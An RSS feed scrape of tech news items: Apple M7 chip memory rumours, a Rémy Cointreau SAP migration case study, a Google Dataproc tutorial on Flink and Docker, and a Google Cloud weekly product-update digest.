To make on-device AI actually useful, chips need incredibly fast memory. The M7 base model will jump to a memory bandwidth of 240GB/s, which is a huge 56 percent increase over the older M5 chip. This hardware boost will help the upcoming lineup process AI tasks much faster than previous generations. While these changes are huge for Macs, similar neural pushes will eventually trickle down to the next iPhone models, too.



Things get even more intense with the workstation chips arriving in 2028. The top-tier silicon will be built for a revamped Mac Studio, and rumors suggest Apple's M7 Ultra could support up to 1.5TB of unified memory. With performance expected to rival dedicated AI accelerators like Nvidia's Blackwell, it is clear the company is building these machines to run massive language models totally offline.



For anyone waiting to upgrade, this timeline shift is actually good news. The accelerated chip cycle means you will get access to way more computing power sooner than expected.]]></content:encoded>
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<title><![CDATA[Apple’s M7 Ultra Could Support Up to 1.5TB of Unified Memory, Report Says]]></title>
<description><![CDATA[Apple is reportedly preparing a major memory upgrade for its future M7 Ultra chip, with support for as much as 1.5TB of unified memory. According to Bloomberg's Mark Gurman, Apple is engineering the chip to handle that capacity, although the final configuration will depend on memory supply when t...]]></description>
<link>https://tsecurity.de/de/3663941/ios-mac-os/apples-m7-ultra-could-support-up-to-15tb-of-unified-memory-report-says/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663941/ios-mac-os/apples-m7-ultra-could-support-up-to-15tb-of-unified-memory-report-says/</guid>
<pubDate>Mon, 13 Jul 2026 01:09:04 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple is reportedly preparing a major memory upgrade for its future M7 Ultra chip, with support for as much as 1.5TB of unified memory. According to Bloomberg's Mark Gurman, Apple is engineering the chip to handle that capacity, although the final configuration will depend on memory supply when the product launches.



If Apple delivers this upgrade, Apple Silicon Macs will finally match the highest RAM configuration that was available on the 2019 Intel Mac Pro while keeping the advantages of unified memory.



Apple is planning a much bigger leap with the M7 Ultra



In the latest edition of the Power On newsletter, Bloomberg's Mark Gurman wrote:




"The new Ultra is designed to support as much as 1.5 terabytes of memory, roughly double the capacity planned for the M5 Ultra, though whether Apple ultimately offers that configuration will depend on the state of the industry. Widespread memory chip shortages have made the component harder to find and more expensive."




The report also says Apple is reshaping its chip roadmap around artificial intelligence, with the M7 family receiving much larger Neural Engine improvements than originally planned.



Apple reportedly decided to move more quickly to the M7 generation instead of completing the full M6 lineup because of its AI ambitions, while the M7 Ultra is expected to deliver significantly stronger AI performance for professional workloads and future Apple AI servers.



Apple is also expected to introduce the M5 Ultra later this year with up to 768GB of unified memory, setting another record for Apple Silicon. If the 1.5TB option eventually reaches customers, it will likely carry an enormous price tag, with estimates suggesting that upgrading from a base memory configuration could cost well over $35,000 based on Apple's current memory pricing.]]></content:encoded>
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<title><![CDATA[Rémy Cointreau drives customer centricity with SAP on Google Cloud]]></title>
<description><![CDATA[Imagine the challenge of supply chain planning and meeting changing consumer needs when you have products that can take up to one-hundred years to produce. That’s the case for Rémy Cointreau, a family-owned maker of fine spirits whose roots go back to 1724. With rapidly evolving consumer expectat...]]></description>
<link>https://tsecurity.de/de/3662845/it-security-nachrichten/rmy-cointreau-drives-customer-centricity-with-sap-on-google-cloud/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662845/it-security-nachrichten/rmy-cointreau-drives-customer-centricity-with-sap-on-google-cloud/</guid>
<pubDate>Sun, 12 Jul 2026 08:07:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p>Imagine the challenge of supply chain planning and meeting changing consumer needs when you have products that can take up to one-hundred years to produce. That’s the case for <a href="https://www.remy-cointreau.com/en/" target="_blank">Rémy Cointreau</a>, a family-owned maker of fine spirits whose roots go back to 1724. </p><p>With rapidly evolving consumer expectations and heavy competition from premium beverage brands, Rémy Cointreau set out on a strategy to put the customer at the center of their business. Offering more than a premium beverage, <a href="https://www.remy-cointreau.com/en/brands/" target="_blank">key brands</a> such as Rémy Martin cognac, Louis XIII cognac, Cointreau and St-Rémy brandy instead would offer customers a taste of luxury. “The idea is not to simply sell Cognac,” explains Sebastien Huet, the company’s CTO. “We want to sell a French way of living. For that, we needed to shift from selling products to selling an experience.”</p><p>To make this a reality, Rémy Cointreau realized all elements of its business would need to be more agile. It needed more flexibility in its SAP systems, which drive Finance, Manufacturing and Supply Chain, and easy access to valuable SAP system data for business decision making and innovative customer approaches. As a result, Rémy Cointreau determined they’d need to move to the cloud to enable such a transformation. </p><p>First, Rémy Cointreau elicited the help of long-time partner <a href="https://www.oxya.com/services/managed-cloud-services/google-cloud/" target="_blank">oXya</a>. The Rémy Cointreau/oXya collaboration dates back 10 years, including the move of the on-prem SAP environment to oXya where they provided managed services. oXya deeply understood the pain points of Rémy Cointreau’s SAP landscape and worked with the company to capture and translate their business and functional requirements, followed by benchmarking various cloud solutions. Rémy Cointreau’s business was spread over two SAP landscapes, with interface and data consistency challenges, which needed to be unified to one SAP system and migrated to S/4HANA. Choosing the right cloud platform was critical to drive the SAP environment to deliver more value. </p><p>“Scalability, flexibility and cost savings were important to Rémy Cointreau but also they had a strong desire to focus on data aspects beyond SAP,” says Matthieu Petitprez, Deputy Chief Technology Officer, oXya, a Hitachi Group Company. “<a href="https://cloud.google.com/solutions/sap">Google Cloud</a>, with its specific data analysis and management tools, completely met this objective. It allows integration of SAP with <a href="https://cloud.google.com/bigquery">BigQuery </a>and artificial intelligence services, bringing more value to the SAP solution.” </p><p>“Just as it takes years to create a great cognac, we value partners who will be by our side for a long time,” says Huet, noting that it’s not unusual for the company to enter into 30- or 40-year agreements with suppliers. “The strategic alliance between Google Cloud and SAP made us confident they were the right choice for us. Google Cloud has a more comprehensive strategic partnership with SAP than its competitors and is clearly adding value to SAP.” </p><p>Although the pandemic forced them to drive the migration remotely, Rémy Cointreau, oXya and Google Cloud’s Professional Services Organization (PSO) collaborated to achieve the European operations go-live in April 2020. “I was worried that COVID-19 would delay our launch, but migration was fast, easy, and on-schedule,” says Mr. Huet. “The technology played a part, but it also helped that we had two partners who we believed in.”</p></div>
<div class="block-paragraph"><h3>Improved manufacturing and service with business agility</h3><p>The SAP S/4HANA deployment on Google Cloud Platform is now live for Rémy Cointreau’s Europe based operations. In addition to S/4, it also migrated the SAP supply chain planning tool, Advanced Planner and Optimizer (APO), as well as SAP’s Business Warehouse to Google Cloud. Similar deployments will launch soon globally. </p><p>While the environment is still new, Rémy Cointreau already sees big steps towards greater agility with Google Cloud. For instance, Google Cloud makes it much faster and easier to adjust the technical operating environment. If a team wants to start performing a new resource-heavy analysis, Rémy Cointreau can expand capacity to meet demands within minutes. The team can also roll back capacity so that it is only using the resources it needs.</p><p>This newfound agility takes the pressure off the IT team when it comes to provisioning a new implementation for future capacity. Rather than try to build capacity for potential peaks, the team can deploy for expected demand, then easily adjust afterward to compensate for actual loads. “It makes capacity planning so much easier,” Mr. Huet says. “Not long after go-live, we had to perform some updates—increasing memory and so on,” he recalls. “In the past, the process would take about a month to do. Now it takes a few minutes. We literally went from five weeks to five minutes. This is a tremendous improvement.” </p><p>Another critical factor in Rémy Cointreau’s decision to move to Google Cloud was the ability to connect its SAP backbone to key SaaS applications such as Salesforce. As the company began to put more focus on the customer experience, creating strong, long-term relationships with customers would be essential. By being able to create this 360 degree view of data among SAP, Salesforce, and its ecommerce platform, Rémy Cointreau can more easily create personalized experiences for its customers that simply weren’t possible before.</p><h3>A data-driven future</h3><p>Rémy Cointreau business users are already reaping benefits from the cloud deployment. “One of the key improvements is the ability to analyze live data,” Huet says. “That was not the case in the past. Previously, there was a 24-hour lag between the time the data came in and the moment it could be analyzed. This is especially important on the production-management side, where every hour counts.” </p><p>As exciting as the improvements in agility and connectivity have been so far, Huet sees even more possibilities for the future. “Right now, we’re focused on establishing SAP in the Google Cloud environment,” he says. “But once that’s done, we’ll be looking at technologies like <a href="https://cloud.google.com/bigquery">BigQuery</a> that can take our data analysis to the next level.” Potential areas of interest include product traceability and customer experience. “Now that we’re fully deployed on Google Cloud Platform, anything is possible,” he notes. “We can pull data in from multiple sources via integration and analyze it in a matter of days. We don’t need a three-month project to see value.” </p><p>It is this agility and creativity that makes Huet most optimistic about the company’s partnership with Google Cloud. As he notes, “I think the best is yet to come.” </p><p>To learn more about Rémy Cointreau’s deployment of <a href="https://cloud.google.com/solutions/sap">SAP on Google Cloud</a>, read the case study <a href="https://cloud.google.com/customers/remy-cointreau">here</a>. Also learn more about <a href="https://www.oxya.com/services/managed-cloud-services/google-cloud/" target="_blank">oXya’s capabilities with Google Cloud for SAP customers</a>.</p></div>
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<title><![CDATA[New Dataproc optional components support Apache Flink and Docker]]></title>
<description><![CDATA[Google Cloud’s Dataproc lets you run native Apache Spark and Hadoop clusters on Google Cloud in a simpler, more cost-effective way. In this blog, we will talk about our newest optional components available in Dataproc’s Component Exchange: Docker and Apache Flink.Docker container on DataprocDocke...]]></description>
<link>https://tsecurity.de/de/3662840/it-security-nachrichten/new-dataproc-optional-components-support-apache-flink-and-docker/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662840/it-security-nachrichten/new-dataproc-optional-components-support-apache-flink-and-docker/</guid>
<pubDate>Sun, 12 Jul 2026 08:07:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p>Google Cloud’s Dataproc lets you run native Apache Spark and Hadoop clusters on Google Cloud in a simpler, more cost-effective way. In this blog, we will talk about our newest optional components available in Dataproc’s Component Exchange: Docker and Apache Flink.</p><h3>Docker container on Dataproc</h3><p>Docker is a widely used container technology. Since it’s now a Dataproc optional component, Docker daemons can now be installed on every node of the Dataproc cluster. This will give you the ability to install containerized applications and interact with Hadoop clusters easily on the cluster. </p><p>In addition, Docker is also critical to supporting these features:</p><ol><li><p>Running containers with YARN</p></li><li><p>Portable Apache Beam job</p></li></ol><p>Running containers on YARN allows you to manage dependencies of your YARN application separately, and also allows you to create containerized services on YARN. <a href="https://hadoop.apache.org/docs/current/hadoop-yarn/hadoop-yarn-site/DockerContainers.html" target="_blank">Get more details here.</a> Portable Apache Beam packages jobs into Docker containers and submits them the Flink cluster. Find <a href="https://beam.apache.org/roadmap/portability/" target="_blank">more detail about Beam portability</a>. </p><p>Docker optional component is also configured to use <a href="https://cloud.google.com/container-registry">Google Container Registry</a>, in addition to the default Docker registry. This lets you use container images managed by your organization.</p><p>Here is how to create a Dataproc cluster with the Docker optional component:</p><p><code>gcloud beta dataproc clusters create &lt;cluster-name&gt; \</code><br><code>  --optional-components=DOCKER \</code><br><code>  --image-version=1.5</code></p><p>When you run the Docker application, the log will be streamed to Cloud Logging, using gcplogs driver.</p><p>If your application does not depend on any Hadoop services, check out <a href="https://kubernetes.io/" target="_blank">Kubernetes</a> and <a href="https://cloud.google.com/kubernetes-engine/docs/quickstart">Google Kubernetes Engine</a> to run containers natively. For more on using Dataproc, <a href="https://cloud.google.com/dataproc/docs">check out our documentation</a>.</p><h3>Apache Flink on Dataproc</h3><p>Among streaming analytics technologies, Apache Beam and Apache Flink stand out. Apache Flink is a distributed processing engine using stateful computation. <a href="https://beam.apache.org/get-started/beam-overview/" target="_blank">Apache Beam</a> is a unified model for defining batch and steaming processing pipelines. Using <a href="https://beam.apache.org/documentation/runners/flink/" target="_blank">Apache Flink as an execution engine</a>, you can also run Apache Beam jobs on Dataproc, in addition to Google’s Cloud Dataflow service.</p><p>Flink and running Beam on Flink are suitable for large-scale, continuous jobs, and provide:</p><ul><li><p>A streaming-first runtime that supports both batch processing and data streaming programs</p></li><li><p>A runtime that supports very high throughput and low event latency at the same time</p></li><li><p>Fault-tolerance with exactly-once processing guarantees</p></li><li><p>Natural back-pressure in streaming programs</p></li><li><p>Custom memory management for efficient and robust switching between in-memory and out-of-core data processing algorithms</p></li><li><p>Integration with YARN and other components of the Apache Hadoop ecosystem</p></li></ul><p>Our Dataproc team here at Google Cloud recently announced that <a href="https://cloud.google.com/blog/products/data-analytics/open-source-processing-engines-for-kubernetes">Flink Operator on Kubernetes</a> is now available. It allows you to run Apache Flink jobs in Kubernetes, bringing the benefits of reducing platform dependency and producing better hardware efficiency. </p><p><b>Basic Flink Concepts</b></p><p>A Flink cluster consists of a Flink JobManager and a set of Flink TaskManagers. Like similar roles in other distributed systems such as YARN, JobManager has responsibilities such as accepting jobs, managing resources and supervising jobs. TaskManagers are responsible for running the actual tasks. </p><p>When running Flink on Dataproc, we use YARN as resource manager for Flink. You can run Flink jobs in 2 ways: job cluster and session cluster. For the job cluster, YARN will create JobManager and TaskManagers for the job and will destroy the cluster once the job is finished. For session clusters, YARN will create JobManager and a few TaskManagers.The cluster can serve multiple jobs until being shut down by the user.</p><p><b>How to create a cluster with Flink</b></p><p>Use this command to get started:</p><p><code>gcloud beta dataproc clusters create &lt;cluster-name&gt; \</code><br><code>  --optional-components=FLINK \</code><br><code>  --image-version=1.5</code></p><p><b>How to run a Flink job</b></p><p>After a Dataproc cluster with Flink starts, you can submit your Flink jobs to YARN directly using the Flink job cluster. After accepting the job, Flink will start a JobManager and slots for this job in YARN. The Flink job will be run in the YARN cluster until finished. The JobManager created will then be shut down. Job logs will be available in regular YARN logs. Try this command to run a word-counting example:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'HADOOP_CLASSPATH=`hadoop classpath` flink run -m yarn-cluster /usr/lib/flink/examples/batch/WordCount.jar'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa8374c0&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>The Dataproc cluster will not start a <a href="https://ci.apache.org/projects/flink/flink-docs-release-1.10/ops/deployment/yarn_setup.html#flink-yarn-session" target="_blank">Flink Session</a> cluster by default. Instead, Dataproc will create the script “/usr/bin/flink-yarn-daemon,” which will start a Flink session. </p><p>If you want to start a Flink session when Dataproc is created, use the metadata key to allow it:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'gcloud dataproc clusters create &lt;cluster-name&gt; \\\r\n    --optional-components=FLINK \\ \r\n    --image-version=1.5 \\\r\n    --metadata flink-start-yarn-session=true'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa837580&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>If you want to start the Flink session after Dataproc is created, you can run the following command on master node:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', '$ . /usr/bin/flink-yarn-daemon'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa8375e0&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>Submit jobs to that session cluster. You’ll need to get the Flink JobManager URL:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'HADOOP_CLASSPATH=`hadoop classpath` flink run -m &lt;JOB_MANAGER_HOSTNAME&gt;:&lt;REST_API_PORT&gt; /usr/lib/flink/examples/batch/WordCount.jar'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa837640&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p><b>How to run a Java Beam job</b></p><p>It is very easy to run an Apache Beam job written in Java. There is no extra configuration needed. As long as you package your Beam jobs into a JAR file, you do not need to configure anything to run Beam on Flink. This is the command you can use:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', '$ mvn package -Pflink-runner\r\n$ bin/flink run -c org.apache.beam.examples.WordCount /path/to/your.jar\r\n--runner=FlinkRunner --other-parameters'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa8376a0&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p><b>How to run a Python Beam job written in Python</b></p><p>Beam jobs written in Python use a different execution model. To run them in Flink on Dataproc, you will also need to enable the Docker optional component. Here’s how to create a cluster:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'gcloud dataproc clusters create &lt;cluster-name&gt; \\\r\n    --optional-components=FLINK,DOCKER'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa837700&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>You will also need to install necessary Python libraries needed by Beam, such as apache_beam and apache_beam[gcp]. You can pass in a Flink master URL to let it run in a session cluster. If you leave the URL out, you need to use the job cluster mode to run this job:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'import apache_beam as beam\r\nfrom apache_beam.options.pipeline_options import PipelineOptions\r\n\r\noptions = PipelineOptions([\r\n    "--runner=FlinkRunner",\r\n    "--flink_version=1.9",\r\n    "--flink_master=localhost:8081",\r\n    "--environment_type=DOCKER"\r\n])\r\nwith beam.Pipeline(options=options) as p:\r\n    ...'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa837760&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>After you’ve written your Python job, simply run it to submit:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', '$ python wordcount.py'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa8377c0&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p><a href="https://cloud.google.com/dataproc">Learn more about Dataproc.</a></p></div>]]></content:encoded>
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<title><![CDATA[What’s new with Google Cloud]]></title>
<description><![CDATA[Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: Google Cloud bl...]]></description>
<link>https://tsecurity.de/de/3662833/it-security-nachrichten/whats-new-with-google-cloud/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662833/it-security-nachrichten/whats-new-with-google-cloud/</guid>
<pubDate>Sun, 12 Jul 2026 08:06:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p data-block-key="kgod7">Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. </p><hr><p data-block-key="ru1z9"><b>Tip</b>: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: <a href="https://cloud.google.com/blog/topics/inside-google-cloud/complete-list-google-cloud-blog-links-2021">Google Cloud blog 101: Full list of topics, links, and resources</a>.</p><hr><p data-block-key="b0lnw"></p></div>
<div class="block-aside"><dl>
    <dt>aside_block</dt>
    <dd>&lt;ListValue: []&gt;</dd>
</dl></div>
<div class="block-paragraph_advanced"><h3>Jul 6 - Jul 10</h3>
<ul>
<li><strong>Webinar: Introducing Google Cloud NGFW Enterprise advanced malware protection - powered by Palo Alto Networks<br></strong>Discover the new Cloud NGFW advanced malware sandbox, arriving in preview later this year. Powered by Palo Alto Networks Advanced Wildfire, it leverages data from 70,000+ customers to help defeat advanced malware. Join us on July 16 at 11 AM EDT to learn how to build a resilient, zero-trust cloud infrastructure that protects your apps and data, wherever they reside.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="18" href="https://www.brighttalk.com/webcast/18282/668861?utm_source=GCBlog" rel="noreferrer noopener" target="_blank">Register for the webinar now</a></li>
<li><strong>Safely run AI-generated code in Cloud Run sandboxes<br></strong>Cloud Run sandboxes, now in public preview, are lightweight, isolated execution boundaries that you can spawn near-instantly <strong>within your existing Cloud Run service instances</strong>.<br><br>Whether you need to let an LLM run a dynamically generated Python script to calculate business margins or spin up a headless browser to perform web research, Cloud Run sandboxes give you a secure, isolated sandbox to run these tasks without leaving your serverless environment.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="22" href="https://cloud.google.com/blog/topics/developers-practitioners/google-cloud-run-sandboxes-are-in-public-preview" rel="noreferrer noopener" target="_blank">Read the blog</a><span> to learn more and get started today.</span></li>
<li><strong>Australia API Horizon: Scaling Enterprise Governed AI Agents<br></strong>The transition from AI chatbots to autonomous agents is the most critical integration point for your business. Join Google Cloud at our upcoming events to explore exclusive deep-dive sessions on architecting for the agentic era.<br><br>Discover how to use Apigee as an intelligent AI Gateway to govern, secure, and scale high-performance architectures. You will learn to seamlessly build AI tools from your existing APIs and maintain control over your entire ecosystem.<br><br>Join us in your preferred city:
<ul>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="36" href="https://goo.gle/4voh18S" rel="noreferrer noopener" target="_blank"><strong>Sydney:</strong> July 28, 2026, at Google Sydney, One Darling Island.</a></li>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="37" href="https://goo.gle/4h2x0FS" rel="noreferrer noopener" target="_blank"><strong>Canberra:</strong> July 29, 2026, at Hotel Realm.</a></li>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="38" href="https://goo.gle/4yisb1F" rel="noreferrer noopener" target="_blank"><strong>Melbourne:</strong> August 4, 2026, at Google Melbourne.</a></li>
</ul>
</li>
<li><strong>Build highly available, multi-region services on Cloud Run<br></strong>Maintaining uptime for business-critical applications just got a lot easier on Cloud Run. Service health, now Generally Available, automates cross-region failover by leveraging readiness probes for instance-level health checks with a simple, two-click setup. You can configure service health with global external Application Load Balancers for public-facing applications or cross-region internal Application Load Balancers for private networking traffic.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="42" href="https://cloud.google.com/run/docs/configuring/configure-service-health" rel="noreferrer noopener" target="_blank">Learn how to configure service health for Cloud Run.</a></li>
<li><strong>Report: 83% of organizations need infrastructure upgrades for agentic AI<br></strong>The shift from conversational bots to autonomous agents is breaking legacy systems. Our new <em>State of AI Infrastructure</em> report details how engineering leaders are adapting to these massive new workloads. To eliminate inference bottlenecks, control hidden scaling costs, and manage agent sprawl, the industry is rapidly moving toward fluid compute, centralized governance, and unified, co-designed architectures.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="46" href="https://cloud.google.com/blog/products/compute/state-of-ai-infrastructure-report-overview?e=48754805" rel="noreferrer noopener" target="_blank">Explore our key infrastructure insights</a></li>
<li><strong>Stop tinkering, start scaling: the industrialized AI Playbook<br></strong>Did you know that only 5% of custom AI investments actually return measurable business value? The problem isn’t the technology—it’s how organizations are wired to run it.<br><br>In this compelling read, Google Cloud Consulting breaks down the operational blueprint that bridges the stark gap between "cool tech experiments" and real, P&amp;L-impacting enterprise ROI.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="50" href="https://www.google.com/url?q=https%3A%2F%2Fmedium.com%2F%40kjouannigot_73547%2Fscaling-trusted-ai-google-cloud-insights-to-capture-enterprise-roi-aa6c9b308adb" rel="noreferrer noopener" target="_blank">Read the full article on Medium</a></li>
<li><strong>AI Agent Clinic: Slashing App Latency by 80%<br></strong>Prototyping an AI agent is easy, but scaling for live traffic presents unique challenges. In the latest AI Agent Clinic, our technical experts partner with a developer to optimize PlaybackIQ, a live football analysis agent. This session demonstrates how to use OpenTelemetry to trace bottlenecks in the Gemini Enterprise Agent Platform and deploy to Cloud Run for high-concurrency scaling, achieving an 80% reduction in response time. Learn production-grade debugging strategies to optimize your own LLM applications.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="54" href="https://www.google.com/search?q=https://youtu.be/G7olcqETSn8" rel="noreferrer noopener" target="_blank">Watch the 60-minute teardown</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 29 - Jul 3</h3>
<ul>
<li><strong>Claude Sonnet 5, Anthropic’s latest model, is now available on Agent Platform</strong>. <br>This addition serves as a drop-in replacement for Sonnet 4.6, giving organizations expanded choice for task completion across enterprise workflows. It features enhanced reasoning, cleaner code generation, and computer use capabilities for desktop and browser workflows.<br><br>By continuing to rapidly bring frontier models to our platform, Google Cloud offers an uncompromised choice of the industry's best technology to build, test, and scale enterprise-grade AI.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://console.cloud.google.com/agent-platform/publishers/anthropic/model-garden/claude-sonnet-5?hl=en" rel="noreferrer noopener" target="_blank"><em>Get started today.</em></a></li>
<li>
<p><strong>Automate your AI governance with Apigee and YAML<br></strong><span>Manual API gateway configurations can quickly slow down your AI engineering velocity. Join the Apigee community on Thursday, July 16, to discover an automated, declarative blueprint for model garden management. Learn how a simple, repeatable YAML pattern lets your AI practitioners instantly spin up secure, policy-backed enterprise configurations  without friction. Bring your questions and connect during our live Q&amp;A session. </span></p>
<p><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 16 Community TechTalk</strong></a></p>
</li>
<li>
<p><strong>Build next-generation AI portals for autonomous agents<br></strong><span>Standard developer portals were designed for human developers to subscribe to static APIs. Today, autonomous agents, LLM toolkits, and dynamic runtimes demand a central nervous system for governance. Join our technical deep dive on Thursday, July 23, to explore Apigee's new AI Portals solution. You will see exactly how to deploy full-service, MCP powered hubs to safely manage enterprise self-service for models, tools, and agents. </span></p>
<p><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 23 Community TechTalk</strong></a></p>
</li>
<li><strong>Protect your infrastructure from advanced cyberattacks at the API layer (Presented in Portuguese)<br></strong>In an era of increasingly sophisticated threats, relying solely on traditional firewalls leaves critical data gaps. Join our technical community TechTalk on Thursday, July 30—conducted in Portuguese—to learn how to proactively mitigate risks directly at the gateway layer. This session demonstrates how to configure and govern essential Apigee security policies to build a robust line of defense, ensuring maximum availability and complete integrity for your enterprise microservices. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 30 Portuguese Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 22 - Jun 26</h3>
<ul>
<li><strong>Accelerate TPU model loading while saving RAM on GKE.<br></strong>Large model cold starts often stall scaling and leave high-value TPUs idle. The open-source <strong>Run:ai Model Streamer</strong> now natively supports TPUs with Google Cloud Storage in<strong> </strong><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://github.com/vllm-project/tpu-inference" rel="noreferrer noopener" target="_blank"><strong>TPU vLLM 0.18.0</strong>.</a> This integration accelerates inference pipelines on GKE by streaming tensors directly into CPU memory, bypassing local disk bottlenecks and the "double-buffering" trap. In benchmarks, loading a 480B parameter model was <strong>over 2x faster</strong> while cutting peak host memory usage by half. <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://discuss.google.dev/t/accelerate-tpu-model-loading-while-saving-ram-on-gke/374835" rel="noreferrer noopener" target="_blank"><strong>Read the full guide and get started today</strong></a>.</li>
<li><strong>Stop Training Blind: Scaling AI with the New OpenTelemetry-Based TPU AI Telemetry Collector Agent<br></strong>Google Cloud’s new AI Telemetry Collector agent standardizes TPU monitoring using OpenTelemetry. It optimizes enterprise ML workloads by identifying silent failures and providing zero-cost operational metrics without draining host CPU cycles. The agent seamlessly routes telemetry to Google Cloud Monitoring or Prometheus and custom Grafana setups. Pre-installed on Google-optimized Ubuntu images or available via Docker, it tracks memory, network latency, and core utilization to maximize multi-node training efficiency.<br><br>You can read more of this capability by clicking this <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://discuss.google.dev/t/stop-training-blind-scaling-ai-with-the-new-opentelemetry-based-tpu-ai-telemetry-collector-agent/375210" rel="noreferrer noopener" target="_blank">link</a>.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 15 - Jun 19</h3>
<ul>
<li><strong>Join us for a deep dive into agentic AI control with AppyThings<br></strong>Your integrations aren’t failing—they are evolving. When users interact with AI agents, they no longer arrive directly at your site, resulting in experiences stripped of your context, expertise, and intended experience. Join us on Thursday, June 25, for a community tech talk in partnership with AppyThings to learn how to solve this new gateway challenge. We will explore how MTN laid an integration foundation with the Model Context Protocol (MCP) to deliver accurate, consistent experiences. Our technical experts will demonstrate how to leverage Apigee as a centralized tools management solution to govern agent access. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/3Sfle0y" rel="noreferrer noopener" target="_blank"><strong>Register for the session</strong></a></li>
